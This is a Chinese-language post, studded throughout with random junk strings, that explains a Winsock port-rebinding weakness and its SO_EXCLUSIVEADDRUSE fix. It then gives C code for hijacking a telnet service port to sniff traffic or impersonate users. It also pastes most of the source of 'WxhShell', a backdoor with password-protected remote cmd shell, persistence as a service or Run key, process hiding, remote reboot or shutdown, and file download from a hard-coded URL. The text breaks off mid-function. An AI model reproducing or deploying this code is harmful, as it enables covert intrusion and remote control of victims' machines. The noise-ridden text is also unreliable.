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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @Z0?1+k s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Fjnp0:p9X G$#Q:]N saddr.sin_family = AF_INET; 'G] P09`*) NC]]`O2r@ saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2o8:[3C5 >"LHr&;m&h bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^HS;\8Xvb PE!/ n6 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 b2L9%8h @#HB6B 这意味着什么?意味着可以进行如下的攻击: 9jwcO)p^ Ej_ >*^b 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 G6W_)YL }s+ t*z 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ibzcO,c y]3`U
UvXD 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _H{6{!=y /-J 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 .>QzM>zO U-F\3a;& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 y!z2+q2 5OHg% ^ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [{!K'V MP/@Mf\<E 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *R'r=C` F747K);_ #include *lZ;kW(}p #include ^pB}eh.@U #include fL xGaOT #include {oXU)9vj DWORD WINAPI ClientThread(LPVOID lpParam); 3(2WO^zX { int main() I |PEC-( { vR"?XqgZ WORD wVersionRequested; $7bLw)7 DWORD ret; WD/\f$4 WSADATA wsaData; 7pllzy BOOL val; s=S9y7i(R SOCKADDR_IN saddr; q?R^~r SOCKADDR_IN scaddr; G3.*fSY$.< int err; i2+r#Hw#5R SOCKET s; ;C^!T SOCKET sc; .j
et0w int caddsize; $ol]G`+ HANDLE mt; _+sb~ DWORD tid; LiG!xs wVersionRequested = MAKEWORD( 2, 2 ); lpq)vKM}^ err = WSAStartup( wVersionRequested, &wsaData ); `Wl_yC_*G; if ( err != 0 ) { m&PfZ%'[ printf("error!WSAStartup failed!\n"); MZ2/ks return -1; kC,=E9)O } 8=K%7:b saddr.sin_family = AF_INET; C33BP}c] hQeGr2gMq //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 xNrPj8V<Y /M :7 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qw?Wi%t(x8 saddr.sin_port = htons(23); uI9eUO if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `e`}dgf0S| { D%`O.2T Y| printf("error!socket failed!\n"); !1b}M/Wx return -1; Ir\P[A } E,kDy: val = TRUE; Y9/`w@"v //SO_REUSEADDR选项就是可以实现端口重绑定的 #ORZk6e if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) IdS=lN$ { 'iM#iA8 printf("error!setsockopt failed!\n"); "L0Q"t: return -1; (U{,D1? } Z5j\ M //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [S~/lm //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $+k|\+iJ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 z|F38(%JJN Af"p:;^z if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) v~*Co}0OB { ~xa yGk ret=GetLastError(); 1^ijKn@6 printf("error!bind failed!\n"); a
Xn:hn~O return -1; AqA.,;G } >]L\B w listen(s,2); C3K":JB while(1) !V'~<& { }ed{8"bj caddsize = sizeof(scaddr); {e+}jZ[L //接受连接请求 @*16agGg sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -k?K|w*X if(sc!=INVALID_SOCKET) 6`h}#@ ( { FUP0X2P mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *@VS^JB if(mt==NULL) )krBjF.$ { B,q)<z6< printf("Thread Creat Failed!\n"); bhl9:`s break; qEvbKy} } u?F^gIw } O:]e4r,' CloseHandle(mt); | |u } %ws@t"aER closesocket(s); %p(X*mVX WSACleanup(); ~eyZH8& return 0; ,/YTW@N } ~eZ]LW]) DWORD WINAPI ClientThread(LPVOID lpParam) Z,~PW#8<& { h+c9FN SOCKET ss = (SOCKET)lpParam; ;=UkTn}N?l SOCKET sc; z',f'3+ unsigned char buf[4096]; hcqg94R#_ SOCKADDR_IN saddr; M?d (-en long num; }Ip1|Gj DWORD val; ]IclA6 DWORD ret; vn+~P9SHQ //如果是隐藏端口应用的话,可以在此处加一些判断 :caXQ) //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ri2`M\;gt saddr.sin_family = AF_INET; +gyGA/5:d$ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); M9QYYo@ saddr.sin_port = htons(23); to{7B7t>q if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >g;995tG { + MtxS l printf("error!socket failed!\n"); 7<*,O&![| return -1; JA$RY } S-[S?&c` val = 100; lt("yqBu if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ATWa/"l(H- { nh]HEG0CZJ ret = GetLastError(); `qV*R
2 return -1; FN<Sagj } l`Ae&nc6 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8Sk$o.Gy { 8
KRo< ret = GetLastError(); Zg4kO;r08 return -1; $!vK#8-&{ } z?Cez*.h> if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;LC?3. { T<%%f.x[s printf("error!socket connect failed!\n"); )&$mFwf closesocket(sc); aM4-quaG] closesocket(ss); 4 'DEdx,&f return -1; gle<{
` } 48,uO! while(1) 3ESrd"W= { /?1^&a //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d
f
j;e%H //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]m :Y|,:6 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 n= q7*<l num = recv(ss,buf,4096,0); d/[kky} if(num>0) :rU,7`sE/ send(sc,buf,num,0); 6@VgLa, else if(num==0) -br): }f break; C{>dE:*K^ num = recv(sc,buf,4096,0); fizL_`uMqb if(num>0) iEx4va-j send(ss,buf,num,0); o;u~Yg else if(num==0) **.g^Pyc break; (e#f } .JBTU>1]_n closesocket(ss); *LEI@ closesocket(sc); } "&Ye return 0 ; 6!C>J#T } M0t9`Z9 K@vU_x0Sl 9/=+2SZ ========================================================== i}O.,iH G8.nKoHv7x 下边附上一个代码,,WXhSHELL G0h e'BR ^vJy< ========================================================== A: O"N zJ_y"bt #include "stdafx.h" SPp|/ [i7 _h I81Lzq #include <stdio.h> LvMA('4 #include <string.h> pV`/6
} #include <windows.h> k3T374t1b #include <winsock2.h> ? U* `!- #include <winsvc.h> !j&#R%D #include <urlmon.h> "TVmxE%( 'A9Z (( #pragma comment (lib, "Ws2_32.lib") qFI19`?8E #pragma comment (lib, "urlmon.lib") &YBZuq2? kz G W/ #define MAX_USER 100 // 最大客户端连接数 `i!fg\qnK #define BUF_SOCK 200 // sock buffer "-P z2QJY #define KEY_BUFF 255 // 输入 buffer V@nZ_. L9]d$ r" #define REBOOT 0 // 重启 Fw8b^ew #define SHUTDOWN 1 // 关机 ;u=%Vn"2a BDCyeC,Q3 #define DEF_PORT 5000 // 监听端口 p*U!94Pb @}s EP&$ #define REG_LEN 16 // 注册表键长度 dsg-;*% #define SVC_LEN 80 // NT服务名长度 /CUBs! Bh&dV%' // 从dll定义API tNQACM8F; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R7A:K]iJ5 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5n[''#D typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k\r^GB
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +$F,!rV-s %a]Imsm // wxhshell配置信息 >qPP_^] struct WSCFG { j^/=.cD| int ws_port; // 监听端口 $EL:Jx2< char ws_passstr[REG_LEN]; // 口令 !;Ke# E_d int ws_autoins; // 安装标记, 1=yes 0=no hrGX65> char ws_regname[REG_LEN]; // 注册表键名 %/d1x char ws_svcname[REG_LEN]; // 服务名 s{*bFA Z1F char ws_svcdisp[SVC_LEN]; // 服务显示名 Z)f?X char ws_svcdesc[SVC_LEN]; // 服务描述信息 {&a6<y#- char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^b4i9n,t1 int ws_downexe; // 下载执行标记, 1=yes 0=no m
?*h\NaB char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 5?0~7^de char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Pj_*,L`mZ {q^UWv?1 }; 4(,M&NC
xW7[ VTXc^ // default Wxhshell configuration [c
XSk struct WSCFG wscfg={DEF_PORT, ;0`IFtz "xuhuanlingzhe", /!N=@z) 1, cgO<%_l3` "Wxhshell", c& K`t "Wxhshell", /&9R*xNST# "WxhShell Service", JIsi "Wrsky Windows CmdShell Service", yq1G6hw "Please Input Your Password: ", +|TXKhm{ 1, v3G$9(NE; " http://www.wrsky.com/wxhshell.exe", UY .-Qt "Wxhshell.exe" p=\Q7<Z6d, }; Qkw?QV-`k IZGRQmi" // 消息定义模块 //RD$e?h~ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t*)!BZ char *msg_ws_prompt="\n\r? for help\n\r#>"; y.-Kqa~ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; =MvB9gx@r char *msg_ws_ext="\n\rExit."; "xnULQK char *msg_ws_end="\n\rQuit."; Xkk 8#Y": char *msg_ws_boot="\n\rReboot..."; E^0a; |B[ char *msg_ws_poff="\n\rShutdown..."; =\mJ5v"hA char *msg_ws_down="\n\rSave to "; Ug384RzHN %m|1LI( char *msg_ws_err="\n\rErr!"; [Zzztn+ char *msg_ws_ok="\n\rOK!"; SM1L^M3) qlnA7cK! char ExeFile[MAX_PATH]; O<ybiPR int nUser = 0; }
7ND]y48 HANDLE handles[MAX_USER]; c^&4m[?C[u int OsIsNt; aMVq%{U ZUvc|5] SERVICE_STATUS serviceStatus; 7 fXJP5j SERVICE_STATUS_HANDLE hServiceStatusHandle; )1YX+'," 2 .\"Q // 函数声明 Y/?z8g'p int Install(void); LXZI|K[}k int Uninstall(void); 0g~Cdp int DownloadFile(char *sURL, SOCKET wsh); 3E0C$vKM int Boot(int flag); rHuzGSX54 void HideProc(void);
d ^zuo int GetOsVer(void); wEN[o18{ int Wxhshell(SOCKET wsl); #N%j9 void TalkWithClient(void *cs); EB@rIvUi, int CmdShell(SOCKET sock); KT7R0 v int StartFromService(void); ddbQFAQQQ int StartWxhshell(LPSTR lpCmdLine); T%;NW|mH& z.+%{_pe VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jp1e3 Cg VOID WINAPI NTServiceHandler( DWORD fdwControl ); !}5rd\ sXNb // 数据结构和表定义 LDYa{w-t SERVICE_TABLE_ENTRY DispatchTable[] = \cf'Hj} { 4eF{Y^ {wscfg.ws_svcname, NTServiceMain}, +zXcTT[V {NULL, NULL} IVa6?f6H_ }; ;]bW +n$ruoRJh // 自我安装 ( uG;Q int Install(void) m&z(2yb1 { '=eVem= char svExeFile[MAX_PATH]; fJ6Q:7 HKEY key; $*LBZcL strcpy(svExeFile,ExeFile); sZ7~AJ j)#yyK{k2s // 如果是win9x系统,修改注册表设为自启动 7j29wvSp5 if(!OsIsNt) { 6urU[t1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F/[m.!Eo RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *xITMi RegCloseKey(key); b|;h$otC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pjxj$>&;*j RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j(}pUV B RegCloseKey(key); F,Ve, 7kh return 0; j,lI\vw< } >>"@0tO } 3g5r}Ug } ruyQ}b:zS else { bUds E1f .}uri1k"@k // 如果是NT以上系统,安装为系统服务 FvO,* r9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jw
5 U-zi if (schSCManager!=0) ReL+V { mahNQ5 W*) SC_HANDLE schService = CreateService p L^3*B.Nr ( g/\cN(X schSCManager, 2?v }w<Ydl wscfg.ws_svcname, &FJr?hY% wscfg.ws_svcdisp, E@#<p-@~ SERVICE_ALL_ACCESS,
]!N=Z
}LD SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Aa]3jev SERVICE_AUTO_START, cMoJHC,! SERVICE_ERROR_NORMAL, CS5[E-%}T= svExeFile, %iJ}H6m NULL, [7g-M/jvY NULL, TCIbPsE NULL, W-Vc6cq NULL, wZW\r!Us NULL Zb|a\z8 ? ); [tElt4uG if (schService!=0) ?Zk;NL9 { k g Rys CloseServiceHandle(schService); >3&V"^r(| CloseServiceHandle(schSCManager); KmM:V2@A$ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LafBf6wds strcat(svExeFile,wscfg.ws_svcname); 45$aq~%as if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b`,Sd.2=(' RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rk@qcQR RegCloseKey(key); 8xG"hJR return 0; [Fv,`*/sm } 8.7q
-<Q } ]mUt[Yy:z CloseServiceHandle(schSCManager); e@ $|xa") } oA7| s1 } N
7Y X Zy8tI# return 1; 5zkj;?s } ]VE3u_kR o~q.j_Sa // 自我卸载 -5|el3%) int Uninstall(void) %6m' |(- { KrHKM 3< HKEY key; !c-MC| j]]5&u/l if(!OsIsNt) { qDhZC*"9#D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X8?@Y@ RegDeleteValue(key,wscfg.ws_regname); IiE^HgM RegCloseKey(key); DUH_LnHw) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q9B!0G.-bs RegDeleteValue(key,wscfg.ws_regname); V0&7MY * RegCloseKey(key); 01uj-!D$@ return 0; 4FZ/~Y1} } v\qyDZ VV } 9
`q(_\ x } RrYNtc else { <F"G~.^ *s ?4Fev_5m SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5p5"3m;M7 if (schSCManager!=0) apgKC; { -1`}|t; SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _#+l?\u if (schService!=0) 1uR@ZK { 3d7A/7S if(DeleteService(schService)!=0) { TXS`ey CloseServiceHandle(schService); 3>73s}3 CloseServiceHandle(schSCManager); L~by `q N_ return 0; jG)66E*" } Y9vVi]4 CloseServiceHandle(schService); *yo'Nqu } -yg;,nCg CloseServiceHandle(schSCManager); yOvV"x] } U5@B7v1 } \u(Gj]B#" :(tKc3z return 1; ~ b66
; } (njTS+? 4;gw&sFF // 从指定url下载文件 ggYi 7Wzsd int DownloadFile(char *sURL, SOCKET wsh) F MYcZ+4 { rd$T6!I HRESULT hr; GC3d7 char seps[]= "/"; -vk/z+-^! char *token; ,# .12Q! char *file; JP
{`^c char myURL[MAX_PATH]; jUR*
| char myFILE[MAX_PATH]; $ndBT+i QtWe,+WWV strcpy(myURL,sURL); #N64ZXz_ token=strtok(myURL,seps); :,R>e}lM while(token!=NULL) fQg^^ZXe" { C=U4z|Ym file=token; 9f5~hBlo token=strtok(NULL,seps); 1&7?f } O:RN4/17 )=x4+)9 GetCurrentDirectory(MAX_PATH,myFILE); l[m*csDk" strcat(myFILE, "\\"); H1KXAy`& strcat(myFILE, file); R[fQ$` M send(wsh,myFILE,strlen(myFILE),0); ,@f |t& send(wsh,"...",3,0); W$J.B!O hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _FS #~z'j if(hr==S_OK) 7Q~W}`Qv' return 0; 0/fZDQH else v$(Z}Hg return 1; [Fk|m1i! B4+u/hkbh? } -49I3& tx`^'%GMA // 系统电源模块 Zu4CFX-4 int Boot(int flag) P6ka'!z { *-q&~ HANDLE hToken; ]W~M?1} TOKEN_PRIVILEGES tkp; v4uQ0~k~X ?:l:fS0:{ if(OsIsNt) { Ukf:m&G OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0JR)-* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )"M;7W?R0 tkp.PrivilegeCount = 1; V$Oj@vI tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U7f
o4y1} AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _+7P"B|\ if(flag==REBOOT) { mL'A$BR` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QyZ'%T5J return 0; Nt?=0X|M } r;H#cMj else { `022gHYv if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _,UYbD\[J} return 0; 6U%d3"T } 1 <lfo^B } CD^@*jH9" else { '@\[U0?@K if(flag==REBOOT) { )-}<}< oO if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T%Zfo7 return 0; v~._]f$: } s=E6HP@q else { K>XZrt if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )qFqf<:yc return 0; F J?]|S.?, } <veypLi"R } HTMo.hr n: {f\ return 1; <4 /q5*& } |q\i, } wGIRRM !b // win9x进程隐藏模块 k][{4~z
void HideProc(void) 0D `9 { 4Sdj#w pjSM7PhQ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qxZf!NX5 if ( hKernel != NULL ) <+b~E, { !A|}_K1Cr pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 55y{9.n* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); - JFW ,8=8 FreeLibrary(hKernel); q9InO]s&~= } BZXee>3" t 0p return; QAY:H@Gt: } _)3C_G1! fJ\u8 // 获取操作系统版本 q%/.+g2-\ int GetOsVer(void) ('d,Sh { JEZ0O&_R OSVERSIONINFO winfo; n>SK2` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [<f9EeziB GetVersionEx(&winfo); Zx6h%l,% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `7V1 F.\ return 1; >^<;;8Xh else i-dosY`81 return 0; YX3NZW2i } JZ-64OT G[OJ<px // 客户端句柄模块 qk0cf~gz int Wxhshell(SOCKET wsl) c@4$)68 { 2t{Tz}g* SOCKET wsh; XZ8]se"C struct sockaddr_in client; 6KN6SN$ DWORD myID; zd F;! e-lc2$o7{ while(nUser<MAX_USER) !I91kJt7 { { W5
_KX int nSize=sizeof(client); R7FI{A wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u-V(
2? if(wsh==INVALID_SOCKET) return 1; _l,-SQgj g^i\7' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "uyr@u0b if(handles[nUser]==0) .=hVto[QC closesocket(wsh); >29c[O"[ else F^}d>2W( nUser++; L}g#h+GP[ } wW<u)|>ye WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uX1{K%^<TW ,eqRI>,\ return 0; X?`mYoe } M%SNq|Lo hOdU% // 关闭 socket 2G3Hi;q18 void CloseIt(SOCKET wsh) ^R7X!tOq4 { YXdo&'Q<qX closesocket(wsh); ?D_}',Wx nUser--; ,t'"3<^Jg ExitThread(0); 6_tl_O7 } F2)KAIl 9u3P>a~b // 客户端请求句柄 %\!0*(8 void TalkWithClient(void *cs) u:wijkx {
xKepZ 4"^W/Zo SOCKET wsh=(SOCKET)cs; {q~N$"# char pwd[SVC_LEN]; tejpY char cmd[KEY_BUFF]; 'I r char chr[1]; (4rHy*6 int i,j; rj1%IzaXU^ |0_5iFAB| while (nUser < MAX_USER) { E?Qg'|+_ jD6T2K7i if(wscfg.ws_passstr) { +p]@ b if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'S=eW_ 0/ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4>Nig.# //ZeroMemory(pwd,KEY_BUFF); : 'pK i=0; }C~9?Y while(i<SVC_LEN) { n#
FkgXP$ ._.Qf<7 // 设置超时 yv)-QIC3 fd_set FdRead; /7-FVqDx8 struct timeval TimeOut; `)BZk[64 FD_ZERO(&FdRead); 9wdX#=I FD_SET(wsh,&FdRead); t0^)Q$ TimeOut.tv_sec=8; _u~`RlA TimeOut.tv_usec=0; ]RF(0; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )}i2x:\|_ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rD c$# c/(Dg$DbX if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (8/ & pwd =chr[0]; !!~r1)zN if(chr[0]==0xd || chr[0]==0xa) { G=kW4rAk pwd=0; %PK(Z*> break; J DOs.w } 4#ifm# i++; A\.{(,;kp } )2:U]d%pk dzV2; // 如果是非法用户,关闭 socket @%^h|g8>Fu if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W&&C[@Jd3 } 1{qG?1<zZ6 }L^PZS@Jf send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aHNn!9#1 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E*+]Iq1u v,iq,p)& while(1) { fA ),^ /\E3p6\* ZeroMemory(cmd,KEY_BUFF); nD=N MqQ & =%b1EYk // 自动支持客户端 telnet标准 .j"@7#tW j=0; A[:(#iR5-E while(j<KEY_BUFF) { fvA167\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pE.TG4 cmd[j]=chr[0]; r8o^8 . if(chr[0]==0xa || chr[0]==0xd) { @ xTVX'$ cmd[j]=0; wV4MP1c$ break; Nfmr5MU_ } TEC#owz j++; }rWg'] } DMKtTt[} JDOn`7!w // 下载文件 Z)}2bJwA if(strstr(cmd,"http://")) { 0}g~69Z1= send(wsh,msg_ws_down,strlen(msg_ws_down),0); F-D$Y?m if(DownloadFile(cmd,wsh)) RXO5pd send(wsh,msg_ws_err,strlen(msg_ws_err),0); D\pX@Sx,v[ else V7
hO} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t
^1uj:vD } +zl[C else { xb&,9Lxd| 5BM6Pnle switch(cmd[0]) { q3GkfgY ,lb}&uZo // 帮助 ;i?R+T case '?': { iD>H{1 h send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NpS =_QeNw break; IPt
!gSp } z|$9%uz" // 安装 FY/F}C,o case 'i': { U8<C4 if(Install()) s/P+?8'9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); cSmy
M~[ else 9aKO||i, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /2$d'e break; p>W@h*[6w } pLMaXX~4_ // 卸载 LQ||7>{eX case 'r': { gYmO4/c,
if(Uninstall()) In;+wFu;M send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZCNO_g else *\`<=,H6< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?5j~" break; C)%qs] } s&\krW& // 显示 wxhshell 所在路径 Qm*X Wo case 'p': { \\`(x:\ char svExeFile[MAX_PATH]; akWOE}5# strcpy(svExeFile,"\n\r"); ,z>w^_ strcat(svExeFile,ExeFile); 1L=)93,M send(wsh,svExeFile,strlen(svExeFile),0); hOuHTo^ break; gE8>o:6)6: } Qr?1\H:Lq // 重启 8cuI-Swz case 'b': { bP4}a!t+n send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sR)jZpmC( if(Boot(REBOOT)) ? ^`fPH= send(wsh,msg_ws_err,strlen(msg_ws_err),0); dKa2_|k' else { r5NH*\Q closesocket(wsh); h]j>S ExitThread(0); ;f}
']2 } !mUO/6Q hq break; 4AKPS&k; } <@Y`RqV + // 关机 eAG)+b case 'd': { f5/s+H! send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); as[! 9tB] if(Boot(SHUTDOWN)) F#.ph?W send(wsh,msg_ws_err,strlen(msg_ws_err),0); '@HCwEuz else { f|~X}R closesocket(wsh); b|\dHi2FT ExitThread(0); bo@,
B } z8xBq%97us break; W mx3@]< } 6.6?Rp". // 获取shell eK}GBBdO case 's': { "w__AYHV CmdShell(wsh); K'f2S closesocket(wsh); `Io#440; ExitThread(0); h,,B"vPS break; 4b6)+*[O } ,
YlS // 退出 aDu[iaZ case 'x': { n98sY+$-z send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z{?T1 =n CloseIt(wsh); >B;KpO"+m break; #er% q: } QXgfjo // 离开 lR]FQnZ case 'q': { jINI<[v[ send(wsh,msg_ws_end,strlen(msg_ws_end),0); PX` xr1o closesocket(wsh); WuTkYiF WSACleanup(); -"?~By}<C exit(1); </aQ break; t]?{"O1rC } q$Ms7` a } %P:|B:\< } |I{3~+E h mc{W\H // 提示信息 >7~,w1t if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e>bARK< } W>:MK-_J } 6~x a^3G: aIh} j, return; a2/Mf
} m_,Jbf hTmJ
~m'J // shell模块句柄 9<3fH J?vq int CmdShell(SOCKET sock) [JV?Mdzu { 4;eD}g STARTUPINFO si; IreY8.FND ZeroMemory(&si,sizeof(si)); 1GB]Yi[> si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q03+FLEfC si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MU\Pggs PROCESS_INFORMATION ProcessInfo; Wu(^k25 char cmdline[]="cmd"; 8=zREt<Se CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bbDm6, return 0; L4bYVTm| } S4-jF D)U 5HE5$S // 自身启动模式 [x]~G int StartFromService(void) Ih4$MG6QC { P"]l/ typedef struct c;06>1=wP5 { OK YbEn# DWORD ExitStatus; %d%?\jV b DWORD PebBaseAddress; aAG']y DWORD AffinityMask; kGYsjhL\d DWORD BasePriority; EuImj#Zl ULONG UniqueProcessId; He}?\C
Bo ULONG InheritedFromUniqueProcessId; [-\U)>MY(p } PROCESS_BASIC_INFORMATION; .D\oKhV( sLXM$SMBh PROCNTQSIP NtQueryInformationProcess; Fw
t c\&;Xr static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \sfc!5G static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NL;sn" `H$=hr HANDLE hProcess; n&zEYCSI PROCESS_BASIC_INFORMATION pbi; _`p^B%[ u3E =r HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <5P*uZ if(NULL == hInst ) return 0; 5h0Hk<N %Lb
